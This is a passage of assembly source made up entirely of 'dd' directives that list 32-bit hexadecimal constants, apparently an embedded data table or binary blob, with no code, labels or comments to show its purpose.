dd 80B6697Fh, 10709C73h, 0D33A00DEh, 49988BADh, 90B88EF4h
dd 91738F12h, 76F84070h, 0DBF00B4h, 219CF3DCh, 74019E15h
dd 36982FFAh, 2C705B4Ah, 6C4027EEh, 80F4E82Ah, 19438452h
dd 6025CBA3h, 45448348h, 96E97206h, 9029E24Ch, 0A0CBB822h
dd 216A58F8h, 28AF0EB7h, 76215E10h, 0C4C06B11h, 789E19BDh
dd 0BCD33097h, 0F0638B24h, 256BF78Fh, 281780B3h, 7980C391h
dd 8F651BF3h, 4A14E24Ch, 84822035h, 4DB530D7h, 0A41B8C12h
dd 7F01248Bh, 0BC104DBEh, 0FBB187C1h, 0C4837E42h, 7A25A8D7h
dd 99B83990h, 0BF6B4105h, 1B70C046h, 95237Dh, 0AB43887Ch
dd 4A6098F7h, 0AE3890C2h, 0C30F9532h, 0B2E72F4Ah, 3081DC52h
dd 0C323BBAh, 8033A4F2h, 7303820Fh, 13CE0075h, 9751842Ch
dd 0E4809FA3h, 0C0B54A3Fh, 3346D784h, 8C755728h, 0FEA42195h
dd 0E878374Dh, 0F44FF06Bh, 3193B640h, 7805387Dh, 8E14D16h
dd 0A1CF538Ch, 8283BAFDh, 0CB00244Ah, 33B7FD80h, 0E20C4344h
dd 0D082EE47h, 847858BFh, 8642313h, 0F08557C0h, 0B80ED798h
dd 1A2CD0C7h, 48BD1018h, 8C1CE81Ch, 84536C26h, 90327B60h
dd 89AC0816h, 0FF80A7E3h, 5004BCC9h, 518B0088h, 0D02359Fh
dd 117DBE17h, 0FE633316h, 0E06884C9h, 8CC3ACh, 68BB8F6h
dd 97DF30B7h, 7C054373h, 0D0E5625Fh, 58B22484h, 2630ABE2h
dd 0DAE21492h, 83058D3Dh, 0B3CE2343h, 0AFF0C438h, 89E8B8BDh
dd 0A243BB3Fh, 3F5410C6h, 7EC102A6h, 7271C752h, 0A011C968h
dd 15BD8468h, 0F1D22C9Eh, 18AA59ECh, 7D2101C1h, 60BDE22Eh
dd 0CE4830F7h, 4C8F5088h, 434BA84Bh, 14DFA918h, 0D478ADEAh
dd 0A9DEE376h, 63426CC0h, 1FDE7BDAh, 0CFEA4DAFh, 0DA08992h
dd 3507F9A8h, 44CE844Ah, 0A9C1C4C8h, 7DF5D3h, 28CD7EC8h
dd 91CC8802h, 9711FA24h, 0DC77D4C0h, 7034B000h, 18A5E92Ah
dd 5838E51Dh, 0BBFEEE09h, 50B17090h, 0F05A5809h, 955E0034h
dd 70D628h, 3AE3D14Dh, 0C737E8FEh, 0A45980A2h, 8E18B779h
dd 6A073975h, 54918D82h, 44F47A09h, 760071A9h, 40A0DB31h
dd 7A9E5C3Fh, 337F00DEh, 0A5F0216Bh, 94E5096h, 26C3C422h
dd 800C94C8h, 21033060h, 14B5002Bh, 0E878C625h, 0EB01AB81h
dd 0D480166Ah, 0B0388A51h, 953AB80Bh, 0DF010C82h, 349454C2h
dd 91981597h, 0A511898Dh, 0CC0018F4h, 74215C5Ah, 2CF49801h
dd 8450437Dh, 0B86FAD6Dh, 0AA8685D8h, 9114B0C8h, 937F844Ch
dd 4AF0196h, 182BFF12h, 49C8A0E8h, 963F8712h, 0B4C8F48Eh
dd 8BC8F9C0h, 276D1125h, 38C1249Fh, 0D48F8311h, 645167A2h
dd 94590454h, 72803ABEh, 280DE33Eh, 1A0960D1h, 203B2F51h
dd 55178FACh, 0D878E570h, 88248B4Bh, 0BF21C012h, 0D10BE179h
dd 826C8F0Eh, 3A1CB84h, 88A06027h, 0ED4E3F33h, 0BF8C481h
dd 5B84E800h, 0C7289060h, 0A802613Ch, 0B10655A4h, 59640984h
dd 0D609B483h, 0BE485A90h, 42C0BC02h, 80CA081Dh, 0A8A2F1DCh
dd 0C387254Ah, 80E4B085h, 0D3338214h, 747C0E95h, 0FAD0AECh
dd 0B79ED81Dh, 780B6302h, 205CF8EFh, 0C1484D2Fh, 0C06539F4h
dd 43F11387h, 42A4A0FFh, 8F05140Bh, 0BC60973Ah, 0B90138C6h
dd 1B26A5B9h, 0BF31D960h, 595F1180h, 0B1C6CBF9h, 51FC9097h
dd 4CB20088h, 0FA68150Eh, 60B1E783h, 0E819FDD1h, 74BBE5Ch
dd 0EEAA10D0h, 51EC01E7h, 645571C2h, 77483C0Ch, 14D96180h
dd 0ACA6A794h, 13158400h, 0C2072B6Ch, 84180A26h, 0A988091h
dd 0DC48516Ah, 0DA91E04Ch, 0FB2D00F1h, 0BB31906Ch, 142FC7D0h
dd 1FB08061h, 0DC6F5Dh, 862E6BADh, 5932FED8h, 306100E9h
dd 81D89EFFh, 0F0297719h, 1843D449h, 0F26C0400h, 205FC6BDh
dd 65850FABh, 0BE808BAEh, 0BB526B71h, 7AA9C960h, 0E02F1B42h
dd 0DF7C047Bh, 0EDF2E430h, 0F9EF088Ch, 1B7029Fh, 8CC1B055h
dd 6BD10B1h, 0C96C3F0Fh, 0C414C826h, 34D0203Fh, 48914087h
dd 0F060DC94h, 90E90763h, 91D0FC28h, 0EEFDF9F0h, 241CFF18h
dd 402007DCh, 0E902DFE6h, 4951CE07h, 68CD9733h, 781D9C62h
dd 8138AC1Dh, 875E2B84h, 9C6F3FF2h, 51298100h, 0DA762337h
dd 0E3AD0901h, 5F2BBBE0h, 0B81A9824h, 4CAA1800h, 0D4D7B930h
dd 0B3B72F09h, 4AB00133h, 0A183568Dh, 92213F27h, 874C1809h
dd 86FC2FA0h, 0A41203Dh, 0FDEEBDBCh, 93BC21C8h, 83D06116h
dd 23B43DC0h, 136A0182h, 0E6427D6h, 134D7100h, 0E50F27F3h
dd 9E49h, 0AEE929D0h, 0D641E85h, 52C874Dh, 0BC807898h
dd 9D008CB7h, 0B9D38F70h, 4848C8EBh, 400CACD0h, 0BA29BEE4h
dd 72DA5900h, 617343D3h, 7DE20F60h, 0BBE04077h, 0C7508F5Ch
dd 1856844Fh, 880650D8h, 37ECA490h, 0F23E9C00h, 0BCB84A25h
dd 48D878B9h, 8B803CBBh, 0FABFFF3Ah, 9331860Fh, 89E38FB3h
dd 0D0AC53D7h, 2A28157Bh, 0F552E53Ch, 330809FCh, 898F1C3h
dd 841FC8B3h, 0F01BE407h, 0C4F63BC4h, 0B1E67DB0h, 2538F359h
dd 11709763h, 0A7F88719h, 0D1067AC0h, 17BAF47Fh, 2518BDD9h
dd 85448708h, 0C678E440h, 0E4A47E27h, 152E20A4h, 0CA08BF8h
dd 922004C7h, 880D09A1h, 4C05BE93h, 0F2F4CC7Dh, 0E46F6A00h
dd 0E7FBB698h, 80780762h, 0E0F352F5h, 6E689BB3h, 0CEA0533Ch
dd 0B91CC8h, 8AFADAC2h, 0A37B0F88h, 7EB4F800h, 14AC1FBEh
dd 5E02008Bh, 0ADE4434Bh, 27749F88h, 198AA8C4h, 0F537D607h
dd 5E64C8A0h, 0BC421141h, 9858F0FBh, 9F6532CCh, 90764031h
dd 67F500DCh, 16410F02h
dd 78543153h, 7C92D1BCh, 0E76300A0h, 0C71564BEh, 9489CACh
dd 0D44A02AEh, 0A8E395D2h, 437B40CCh, 5B59892Dh, 1F0481C7h
dd 300505D0h, 10B9CE97h, 0D07318D8h, 0CAAF2184h, 1FCDB708h
dd 0CE5F0847h, 880EC105h, 3C4164ADh, 403C1060h, 60995036h
dd 186D7B80h, 267C164Eh, 97B46B65h, 785C33F9h, 0B9E7E1h
dd 0BBBF3D6Dh, 5CE826F0h, 621DFE46h, 0C0A7985Bh, 8A80DD23h
dd 0A9BC2DF2h, 0FC11F497h, 84059680h, 0B31C88C3h, 728BF219h
dd 0E38C46Bh, 49148CDCh, 7BE3F780h, 6F7057A8h, 0FC7F3500h
dd 5DC02A59h, 1B610074h, 0A3B196EDh, 7A5CE58Bh, 6705958h
dd 2144B655h, 0C0D70279h, 4E50CC7h, 0E2F854F0h, 3CD38809h
dd 318588Bh, 4E595E76h, 30A05B4Dh, 532C5A20h, 0E908D4A4h
dd 0E058000Fh, 0C03D069Fh, 0FF47CCBCh, 883F3640h, 71730708h
dd 0E0A27942h, 7AA4C1Bh, 2230441Fh, 1BADA02h, 4ECC723Ch
dd 6A0043B8h, 0FDD89A23h, 69001A6Ch, 5E01A878h, 27D9EA9h
dd 0A784AEC2h, 186088E8h, 4A88CE40h, 0DB5E97h, 0D4118C04h
dd 0B27229FEh, 0EF90863h, 4C4BA9B4h, 13D18370h, 0B0A34388h
dd 91005834h, 9E0684C3h, 2CB2FB2h, 0C1AD970Ch, 185A8CC7h
dd 3E1A8598h, 4B11C9E4h, 0A8B6C018h, 5994075Ah, 50F71DE6h
dd 3F374B5Dh, 5C08755Fh, 1CD8265Bh, 597D4014h, 6EC34956h
dd 0AFD24A00h, 47546055h, 0F42C3911h, 8C180076h, 44645C05h
dd 173A4B43h, 0CAED0C81h, 46211045h, 9A030396h, 6442805h
dd 7810231h, 0D0A4157h, 463E52Ah, 5753B4C1h, 0C20A1080h
dd 0F716AE68h, 77F02EECh, 324A600Ch, 3F45315Ch, 0DA00D802h
dd 0C22EF6D4h, 48E8F71Ch, 0FA9821C0h, 0C097DD7h, 5B3D5E7Fh
dd 0C8009D19h, 9EC97AB3h, 147D58D5h, 44D21395h, 60866864h
dd 2306D7F6h, 4B11F4DAh, 0D80E9C00h, 3313CAC5h, 4EFD0A18h
dd 33AD1h, 0CC74021Ah, 0EAB41F21h, 0C5066F00h, 1D13BF44h
dd 0C0F7912h, 59322E03h, 0CC3B5251h, 47BA01EEh, 0FA3D6501h
dd 60F95AC0h, 17585953h, 490233C4h, 15C04879h, 579380C2h
dd 7A89BC88h, 4F970A01h, 86AC3DCAh, 61535642h, 494AFA30h
dd 1C57996h, 0DB6C58B7h, 0F05E78A7h, 1163688Ch, 70BED39h
dd 210595EEh, 206DE35Fh, 802B09A1h, 1C1F5620h, 0F4C78877h
dd 0A65238FFh, 32B296h, 63787002h, 1750DC4Fh, 1D01EF44h
dd 5531CE01h, 16E04403h, 7B1100A3h, 0DB2E136Fh, 0A1C061DCh
dd 1DF53BD7h, 525F7848h, 0F014C88h, 0A596031Ch, 0CFEF0C20h
dd 1CC35A21h, 67C9DFFBh, 8487FC41h, 46CFEA1Eh, 589601C2h
dd 85FCA779h, 8F378DC3h, 52564341h, 8048FD11h, 2C3D3189h
dd 0D1D8CFh, 2DF64E97h, 148701B8h, 58D6DF28h, 26916C01h
dd 0F6905225h, 0CBC2824h, 2EBB0CE4h, 8225CA11h, 173749Fh
dd 80B1113Ch, 80C6D13Fh, 9F8D7521h, 3A581D69h, 0BA8EB93Eh
dd 0A8270BA6h, 783AE0D0h, 0C7385524h, 0D8B6185Eh, 12252F39h
dd 3707042Eh, 1AF52040h, 1400FAC4h, 0B56A48B2h, 1321D1h
dd 0A9FED2DCh, 0F7DE5BCCh, 0A5612D00h, 5830EA15h, 63120CE9h
dd 43495FFCh, 88EF2E0Eh, 41CE81C9h, 89956E0h, 0F91E2138h
dd 0BDFBD8EFh, 53503E90h, 8B0AD390h, 0A8543D81h, 0E0CE4680h
dd 0F05D92h, 39FCFFCAh, 69620AC5h, 0C8356630h, 0C0583D2Dh
dd 0E450D831h, 0E009BB4h, 45E1A9F4h, 0E025E78Bh, 0D5265098h
dd 800C5490h, 39316739h, 99210107h, 0CF67CC35h, 0F2E5800h
dd 786D237Eh, 369F0B94h, 2785EB98h, 4B37825Bh, 40443047h
dd 39372466h, 5BF0792Fh, 73DFB8h, 86846891h, 0D4034479h
dd 5319FC01h, 30B5C5C4h, 0DC05B184h, 0DD2080D7h, 0DB8012F4h
dd 92F012C0h, 84C1294h, 0F8C07C44h, 21DA0CD7h, 4691F704h
dd 0D8108200h, 4FE1962Bh, 5D7B5300h, 69B274D0h, 78296CD6h
dd 28C6FE8h, 95F61C0Ch, 0B18211Dh, 0D840822Bh, 0D00E931Bh
dd 0D1C84FAAh, 41B5420Ch, 0DF12ED79h, 0F4087B0Fh, 60298784h
dd 2823F9A5h, 19074768h, 0D764E251h, 0B6CEE06Fh, 0F2935Dh
dd 9A45364Fh, 793D8A8Dh, 88C4604Ch, 0D7FBC07Dh, 1C21DA01h
dd 132560F7h, 0CC0645D8h, 58573D77h, 0DD501419h, 0B3115C18h
dd 0FAC040E4h, 82165F80h, 4FE74840h, 0B1540174h, 0E904C570h
dd 1555A610h, 0C988E88Eh, 0E6B3A6C0h, 0C34B0F84h, 7EB295D6h
dd 90A6023Ch, 0C4264DAh, 0DC60BBB8h, 30A8C0D9h, 358B0BDh
dd 82A54A78h, 41481568h, 1E10102h, 0F8322439h, 9D8D420h
dd 40D52B88h, 6065FC04h, 2382EF48h, 3A115EC9h, 0EF001C3Fh
dd 0F22D8932h, 0E20AC685h, 4C5EDBDAh, 0E9152E01h, 0DDF0CD46h
dd 0C804B293h, 2FC06468h, 46C987EFh, 392286h, 81EF8521h
dd 0A18C7B8Bh, 60090E7Ch, 3D140ADh, 99BED730h, 9C229CA9h
dd 0F4008023h, 0E4DA10D7h, 494486F6h, 0D80C009Eh, 76781D73h
dd 0FDE04596h, 38852638h, 3CF08B8Eh, 0C7198049h, 60FA1507h
dd 0BE299950h, 0DC00649Ch, 0E24291ABh, 0E8884CDh, 3C7B40AAh
dd 1088C50Ah, 0D5B6854Fh, 0DE28D44Fh, 1140D19Fh, 0E196FEDh
dd 15450AFCh, 40F86895h, 49D8B717h, 0C900C479h, 186589FDh
dd 4C1B56h, 4E9F4650h, 0BBC7D707h, 4C0DE424h, 32F483C7h
dd 4C6202C5h, 8B1820CDh, 7972A19Fh, 784883Dh, 75B539C7h
dd 436863h, 87F68381h, 0CA9D224Fh, 249EB700h, 0DAC48621h
dd 0D96060D2h, 5BB343F5h, 0C77BC183h, 34506D30h, 8249EEDFh
dd 552031ECh, 9C0820h, 24351D5Dh, 0BC8EFDCEh, 463B6A76h
dd 45EE0409h, 0C480E908h, 3D3F9931h, 0C6801113h, 548714E7h
dd 409BB33Dh, 0FCCDD40Ah, 0F5804B11h, 0ECDA0FD7h, 9BC7DCB9h
dd 0D6FCD830h, 0DB3202F2h, 0D7DF6E9Fh, 5515D0A0h, 2400165Ah
dd 83301E8h, 4071C2h, 2F25EB97h, 68731CB5h, 5211E38h, 54CE5D39h
dd 3072A0C2h, 0F9131C01h, 0B0381595h, 1B65004Ch, 0ED5EF7D9h
dd 0DA0C02A1h, 411AC44Fh, 3EAA3142h, 860185B1h, 0DBB45E69h
dd 4CEF00A9h, 0B2C2D4E3h, 8373E71Eh, 29108405h, 2C9458FAh
dd 212494C2h, 747D2DFh, 340268C5h, 0F67B3121h, 0DDD30FDCh
dd 5084EDC9h, 52B49825h, 94408C4Ah, 92F9880Ah, 15F1F38h
dd 0D5DEC19Ah, 6354D229h, 0AC2D2814h, 8CBEDA0Bh, 92A8461h
dd 80210C84h, 518023B4h, 60E3E25h, 3B006667h, 54E611C0h
dd 3EC1A1Ch, 79D64F8Ch, 59004269h, 7CCDD738h, 9E4987h
dd 1B985A2Bh, 6217E003h, 0B891C909h, 22D880A5h, 0C544DC50h
dd 41E0B439h, 7501439Ch, 71460C2h, 5BC04200h, 5EECBC98h
dd 74DF506Dh, 10AB0143h, 0F0C3C80Fh, 92182CBFh, 47C8148Bh
dd 61ED4EC0h, 43C0380h, 563D2C69h, 8C532100h, 82EAC0C6h
dd 0CCD603BEh, 366EFB40h, 0F041D882h, 2C301913h, 0EC5D4844h
dd 6AB03C4Ch, 0C4E89E94h, 2BA1C807h, 4402EE22h, 24804459h
dd 800452FAh, 4AF0193Bh, 0EE0AC1CBh, 0F1C59551h, 0AED06F03h
dd 42D7FAA5h, 80FC6900h, 6C64FA12h, 0FB2B5007h, 0CB3318DCh
dd 7520C7CDh, 2F044ADh, 6C2CA18Eh, 2C46174Eh, 42355209h
dd 0CFEC4D63h, 0F2F41BE0h, 0AC1AB33Bh, 60892BF9h, 86FD212Ch
dd 86EF4404h, 34627EC9h, 0EFC02027h, 1A77485h, 71BF36ABh
dd 0FCFF59F0h, 40601629h, 0EA3E6329h, 989B01D1h, 0E9C658B9h
dd 0D53025C0h, 0BB88505Dh, 110EF4EDh, 81BED66Eh, 0BD89C635h
dd 8C6B2980h, 0D8C8922Ch, 0E4398F01h, 56FF5E41h, 588CD4D3h
dd 74C6F83Bh
dd 11E1212h, 143832C0h, 31607C60h, 0C044FA88h, 2F6F75A1h
dd 0CF0037AFh, 0D69794BEh, 1DC69960h, 0A0DC3CD2h, 85118C00h
dd 2EC78808h, 0FD4900CEh, 0F995668Dh, 7C61B543h, 581A5029h
dd 7C7B5BF0h, 1323023Ah, 0FBDDDB52h, 2FC62868h, 0F75BA20Eh
dd 0EFD8C7F6h, 3CD13340h, 3FD4E209h, 6B81F257h, 20A61634h
dd 81BED143h, 19AE2908h, 88C55763h, 475C3080h, 45CE815Eh
dd 2DDBDE0Fh, 0E99100D7h, 34F48D1h, 51686E2Fh, 4EABF374h
dd 2D801001h, 0EA53DEE5h, 7C650D4h, 1F5B5816h, 28463F7h
dd 9EA00DDBh, 2C052A14h, 0E004DFA3h, 16569C04h, 957CCCh
dd 91E6A1F4h, 4476D8C2h, 64405896h, 0EDEAAFh, 711DBF5Bh
dd 0A9F62F5Eh, 3567A41Ah, 1ACC640h, 1A445B78h, 209EC30Fh
dd 1F9CC98h, 82145852h, 882F1844h, 0D43EBEB4h, 29A8D87h
dd 742160E2h, 9C987EEBh, 3978300h, 0D1A6E1C5h, 0CCA5854h
dd 6F4052C8h, 1D038DF7h, 0D218505Dh, 0A00C20FCh, 1600EB9Fh
dd 30D25931h, 4C53BE4Ch, 2D22E455h, 899FB80Bh, 5090800Bh
dd 0C0405D42h, 0D1A27B59h, 687FDB43h, 0DFD7C306h, 91C834B5h
dd 21BF03E0h, 710098FAh, 0F426E2B9h, 7BF2F3EEh, 3FA3E6D7h
dd 0AE1685AAh, 0D5440481h, 4AC044E4h, 51E0E04Eh, 3D50A1BDh
dd 3B81D160h, 197385Bh, 67E2A0FEh, 0C85AB8FBh, 493BFD03h
dd 1D0B0194h, 0BDB0F364h, 6396920h, 1AAEE376h, 660118F7h
dd 0A9836A7h, 0B3F0AB46h, 0C68580F6h, 1C559601h, 170F182Dh
dd 1A274ECh, 7671D329h, 8383C15Bh, 7B4BBC58h, 69E6BEh
dd 48DB4AF6h, 9C74A3D2h, 0A2F13Ah, 1F3771EEh, 225C449Bh
dd 0B100A8CBh, 574B3DC3h, 0B53095h, 3A3B7B7Ah, 0BDE5494Eh
dd 98434700h, 1E9FB301h, 0F860C3F4h, 0B4E031FAh, 2601D951h
dd 10703C49h, 7181CF11h, 0A1C7D57Eh, 0FC7CC174h, 0E30027FBh
dd 72F85F99h, 0B36390h, 368F675h, 16BD2218h, 0B985F500h
dd 0A07981AAh, 0B7BA043Dh, 0C05651DCh, 335ACFC1h, 3B68CE0Bh
dd 613F806Ch, 0AAC626h, 0C38C76F1h, 0B58A4413h, 9E045303h
dd 0E77E2BBCh, 2CA188Ch, 0B62C23F4h, 20B63212h, 9A650A10h
dd 0B67B6D07h, 0F9BB4314h, 8D9F2DA0h, 8F849E38h, 806AFA6Fh
dd 0C93C8709h, 0DA5D00EAh, 0F02882C6h, 1443B9DBh, 0BAF9819Bh
dd 14200439h, 0F70B045h, 0D3CF415Ch, 0FCDE2480h, 8000BF57h
dd 8444C8F9h, 15376BEh, 12F56D7Fh, 5617AA0Bh, 54540834h
dd 1E23EE80h, 0A01F5A8Dh, 59B28138h, 48D39C1Fh, 0A350130h
dd 19CD52D7h, 182B0AE8h, 2018FC04h, 0BD50BBC5h, 0F40C00FEh
dd 0CADC9708h, 313B2B81h, 0D02A00D2h, 9D59FA1Fh, 2BD0CF6h
dd 0F028F3FBh, 89D5F684h, 84E708E6h, 22C54422h, 8222D68Dh
dd 9733258h, 14859879h, 0E2804B2h, 6204656h, 112C4229h
dd 0AA11DFA7h, 4C81155h, 39C48010h, 32DC0054h, 6E1539B1h
dd 17DB3F46h, 0BD0E6194h, 0C162F403h, 0A298A369h, 1000A048h
dd 9F2A9B71h, 8FF54Ch, 0A65ABF6Bh, 213331B0h, 7F5C6C04h
dd 3CC349D1h, 836E8DDh, 0E8E00067h, 15FD96C9h, 0AA00CB1Ah
dd 7C3E201Ch, 0A4AE3Fh, 50B38902h, 65513181h, 0D065877h
dd 2C03D19Eh, 3867009Ah, 0A75C5ADBh, 54002371h, 3CCB79BDh
dd 2458556h, 4E984C7Ch, 49E35E46h, 0E08AE2E1h, 42005188h
dd 97CA949Ch, 0EFDC04h, 490A2ED8h, 239FF380h, 0AD85E31Dh
dd 8118900h, 184DE2CEh, 108662FCh, 797EC3F6h, 0D6C73A00h
dd 7883C8ADh, 0A4773EECh, 0E4DF1683h, 19F8A920h, 80CA4FD4h
dd 6700C111h, 0B2CC4842h, 27C300A2h, 0E22B9B9Ah, 6901C0F8h
dd 0C143C5A6h, 0E0C0CB86h, 6FC2009Dh, 4E5D14A5h, 0FE00DBC0h
dd 189C1E53h, 1C1BE89Fh, 40CFDF64h, 0F5D3E5FBh, 0AB7D73BBh
dd 8145B0Eh, 0E906608Dh, 7A1B03AAh, 3F720245h, 5D935A6Ah
dd 4788DDE0h, 13BD6E0Ch, 24256049h, 78913Ah, 0F38945Ch
dd 4600332Fh, 0B39C669Ah, 125D28Eh, 0BAF28524h, 9FCEEB62h
dd 0F6C0B010h, 0BBB42B49h, 56CD19DBh, 50D4488Ah, 0D1456154h
dd 710054E6h, 5D5FFB0Eh, 8E8B3Bh, 68E71483h, 1D90F54Fh
dd 4AA2D200h, 0A1B17AF4h, 8CB00058h, 0ADA8AC75h, 5A0004BCh
dd 1B602C4Fh, 1E79C73Ch, 0C0339311h, 0FC180695h, 0B900F4B1h
dd 6AAEA840h, 73D53A5Eh, 0EE75386Dh, 0F4B20A85h, 66FE004Ch
dd 539E455Dh, 0F93E507h, 86907E7Ah, 90FD91h, 0D6CF602Dh
dd 0AD266D3Fh, 8755F70Ch, 5B4419h, 0CB85F6EDh, 68C5EF60h
dd 6DA82A00h, 4187AA80h, 0DF820079h, 0ABF10C21h, 0BC072760h
dd 6BF0B29Ch, 1C902090h, 0BF771EC7h, 0AE10B381h, 3C296880h
dd 0A8BA1801h, 62A016D8h, 0DCEFD8h, 0D6252C31h, 0AD75EA86h
dd 3D7F1500h, 2BA1680Ch, 9A7D04CEh, 8002D98Bh, 2F375D10h
dd 5E441F00h, 0F18AB606h, 510E0090h, 3F325794h, 0B907F242h
dd 0E2FBD3F9h, 0AA9901D0h, 4D5D0777h, 0E08F6327h, 60EB290Ch
dd 3800217Dh, 675602FBh, 0B617E3h, 9F8BCFA7h, 0CA78821Ah
dd 0FD00277Fh, 44AE3E62h, 76040A83h, 948F13AAh, 4241B043h
dd 487FA300h, 35C10F9Bh, 8170E3Ch, 9D802DE0h, 771BFE67h
dd 7A960E00h, 55F94C90h, 30787D81h, 7111B3ADh, 3801E880h
dd 107B5150h, 3160287Dh, 845800C5h, 0FEA5E0ACh, 6F02A93Fh
dd 9FE995E6h, 0CE934083h, 0AF3A00FAh, 0C5A2FECDh, 0E00FF23h
dd 858CCAD7h, 4DC126F1h, 3D00F8CBh, 0A2CF1BE5h, 6303242Ah
dd 0F1FFD50Ch, 0D7C000A0h, 0C15FE044h, 19E288B6h, 11F8ECF1h
dd 90F0C700h, 9FD99825h, 2B3F0089h, 5C02675Dh, 0DC1E7655h
dd 8583FD35h, 0D8154A7Eh, 4D7CACh, 60E52D45h, 4213DC1Fh
dd 203A8490h, 31438072h, 242D1BC5h, 8F78E6h, 54941041h
dd 0D644789Ch, 80B66A3Dh, 0FC98A84h, 93D8C0Dh, 20C43285h
dd 253FA200h, 903F95B9h, 0F0FA0052h, 7FED76DAh, 45CE022Ah
dd 1DA2B0A5h, 0F8991C41h, 1E004077h, 0A1D91262h, 2CCE4h
dd 47E9D82Dh, 5DEE76FBh, 165B7F12h, 0AF468407h, 0E9A8D450h
dd 1ABE1D80h, 0F7244503h, 6A16C19Ch, 0CB1C20FDh, 0B549F0B0h
dd 4B60001Ch, 491DF08Ah, 0F8EC0AAh, 3BFA1986h, 4669E0Eh
dd 0FFCFC021h, 0A3CEB9B6h, 8AF8D888h, 0A9C406D6h, 19B3BCFCh
dd 6512C000h, 0B187ED05h, 0FBE50398h, 67F8377Ch, 0F0016F99h
dd 6B00FDAAh, 12E75053h, 98D1321Bh, 1196079Ch, 10AF904Ch
dd 1BD1A2Eh, 8AB9CC00h, 0D1170E75h, 504509D4h, 0E480B4DAh
dd 0A5F8D967h, 79063600h, 0E03A5D44h, 545A00EFh, 2C094C78h
dd 6B507DBBh, 4A0056C7h, 7BB21766h, 558ED5Eh, 4D7F63E0h
dd 675FC008h, 0E2005BF3h, 681069FFh, 0A60945Ah, 8BA33B2h
dd 38100C8h, 0AAE17B30h, 8ED06A0Ah, 0F400BE4Bh, 0E27E2120h
dd 946600BEh, 0F9AF1747h, 87039DB2h, 181755Fh, 0DBD3B048h
dd 0FAD1403h, 2D148B55h, 0E7AC8FCh, 0B1DD1A40h, 8D20F02Fh
dd 0E4ADB7D0h, 0D7198900h, 0A598BDE9h, 1EB06Dh, 0EE66EB58h
dd 0D9D3D09Fh, 77876F1Ch, 0E678E382h, 0C338C0FCh, 309B00Dh
dd 0A670BAF4h, 20C83992h, 5100479Dh, 0DD5F09F6h, 1DF4BC99h
dd 0C0584315h, 1E7ABE59h, 0B6E864EAh, 44C04103h, 0B08FEB9Ch
dd 4E91F3h, 6DC7189Dh, 0ADED3614h, 135AE207h, 0FF2094E4h
dd 368523Ch, 9178DCDBh, 1BE8C963h, 36043BF5h, 3C7970A8h
dd 3950B287h, 0E7204Ch, 60C2E2CDh, 8DB59AC9h, 826E161Eh
dd 55F6B680h, 0FEAAD8h
dd 960A7C9Bh, 76E4438Bh, 0E59D5400h, 447BA742h, 0BC88001Fh
dd 27ABE174h, 8600C98Dh, 1231D926h, 0E4E2A051h, 0D2FAFBh
dd 388992CCh, 182841ECh, 0A18EF51Bh, 70A6E05Ah, 0D1A40026h
dd 0C922EAFAh, 0ED009721h, 5520B4ABh, 0D0BBC1Fh, 0C31014E3h
dd 0E58530B1h, 0C509BE00h, 6295381Ah, 0FA8602E8h, 47509B08h
dd 6718DCC4h, 28188C61h, 4B202E34h, 0A0C900D0h, 0AB6DBE6Ah
dd 7DF2B700h, 0CDA8BFDAh, 2ECE0055h, 28A78EDEh, 9714FF5h
dd 3829CC00h, 8FAF119Dh, 17D75EAh, 60D62EC9h, 20D93E30h
dd 545C8BE5h, 0C0772E1Ch, 0F57ED180h, 0E278E8F1h, 0AE83001Fh
dd 7C942F03h, 71730CA1h, 0C1A38712h, 5860B100h, 0D62CFCh
dd 3D9F802Eh, 501929C6h, 614A4102h, 40A9D17Fh, 7E5A450h
dd 1AB66C7h, 0C818C95Dh, 90061054h, 0E7704A0Ch, 469A3FF9h
dd 0D22DB407h, 0C74545FFh, 9D3A5064h, 6103862Ch, 24049998h
dd 0AB2FA934h, 0D95A3980h, 0DBD8440h, 586D2900h, 0F1EFAC8Bh
dd 20160044h, 47D76834h, 73013F76h, 2B15E670h, 0DBC0DFC6h
dd 587B007Ah, 4875F84Ch, 80B8E2EDh, 868A0205h, 0BCC02D20h
dd 9D903Ch, 0EC71347Bh, 0F910764Bh, 102248h, 0A43A0F1Eh
dd 6017E2h, 0FD41B4F6h, 51B932BAh, 50FE6131h, 6DF4DDF2h
dd 0E0A4EAF5h, 0D9B10033h, 731CA20Ah, 5401236Eh, 72AAE8ADh
dd 0D8848778h, 0A217402Bh, 3507C01Ch, 168292A7h, 5AFF99h
dd 0ACAA34B4h, 2D0101EAh, 5FF770F8h, 93FCDED1h, 974A036Ah
dd 0F69D0827h, 3AC61801h, 49EE69D4h, 32E5D6C0h, 68D09BADh
dd 820000E4h, 7A80C26Dh, 2890FB15h, 0A0C83F8Fh, 8449B8h
dd 0BA7FE983h, 0A348FDAEh, 0D086DF0Ch, 0F2D460ECh, 639A0BE7h
dd 1CA05B21h, 0AD291C75h, 103F2630h, 71C17AE5h, 24E801DEh
dd 5004B7BEh, 464CD0BAh, 0F08EC716h, 0B2B0FC02h, 0F8F4C0F7h
dd 1FBD7BCAh, 43DAE6EEh, 34493E99h, 0FCC27CB8h, 0EB3F8400h
dd 9047ECC3h, 755B0009h, 4291CC8Dh, 8CE216DFh, 82C470E7h
dd 17905F90h, 0C92C0300h, 0ACB3F0EDh, 575A3EB9h, 0FEE34A80h
dd 0AF03BCFDh, 3F959B4Ch, 3019B0A5h, 0A32262h, 647C7454h
dd 0CAF5C94Ch, 0EF5C4B90h, 980D28BEh, 708B433Eh, 0ADFEB970h
dd 0F4B07C00h, 5898C30Bh, 106069EEh, 9E814420h, 0DB00C920h
dd 82D0CAB1h, 7FC25A1h, 0F7E404C1h, 0CD2470F1h, 0CB390BC8h
dd 0F3BA802Dh, 0BC26109Ah, 0FA36073Fh, 0FA4093EEh, 4EE700E4h
dd 9022D9F4h, 71FE3Bh, 8898396h, 287A919h, 24AEB6BAh, 0C604C0Ch
dd 45105F77h, 1715BD7h, 0C54238B4h, 701DE5F2h, 0AB145E06h
dd 4CB1E274h, 9ED0095h, 0ACF46D65h, 0CD233FB5h, 28E90C80h
dd 9B2C32DAh, 0F5AB0101h, 36355B6Dh, 9D0060CEh, 0F1520002h
dd 332AC99Eh, 4D009186h, 46C8C2A1h, 505D23h, 0F3420739h
dd 614C5C7Dh, 0B704748h, 862F9257h, 104D6Ch, 0CDF0FC2Ah
dd 372B48A8h, 7791E2Dh, 0BECB3508h, 4B777FCh, 5C2890F1h
dd 0D5EBC240h, 3243EC80h, 505C1DDAh, 2AE0054h, 0D4227BB0h
dd 0B1DF0179h, 0C4E3B6F7h, 51F04023h, 390EAB9Eh, 802D1147h
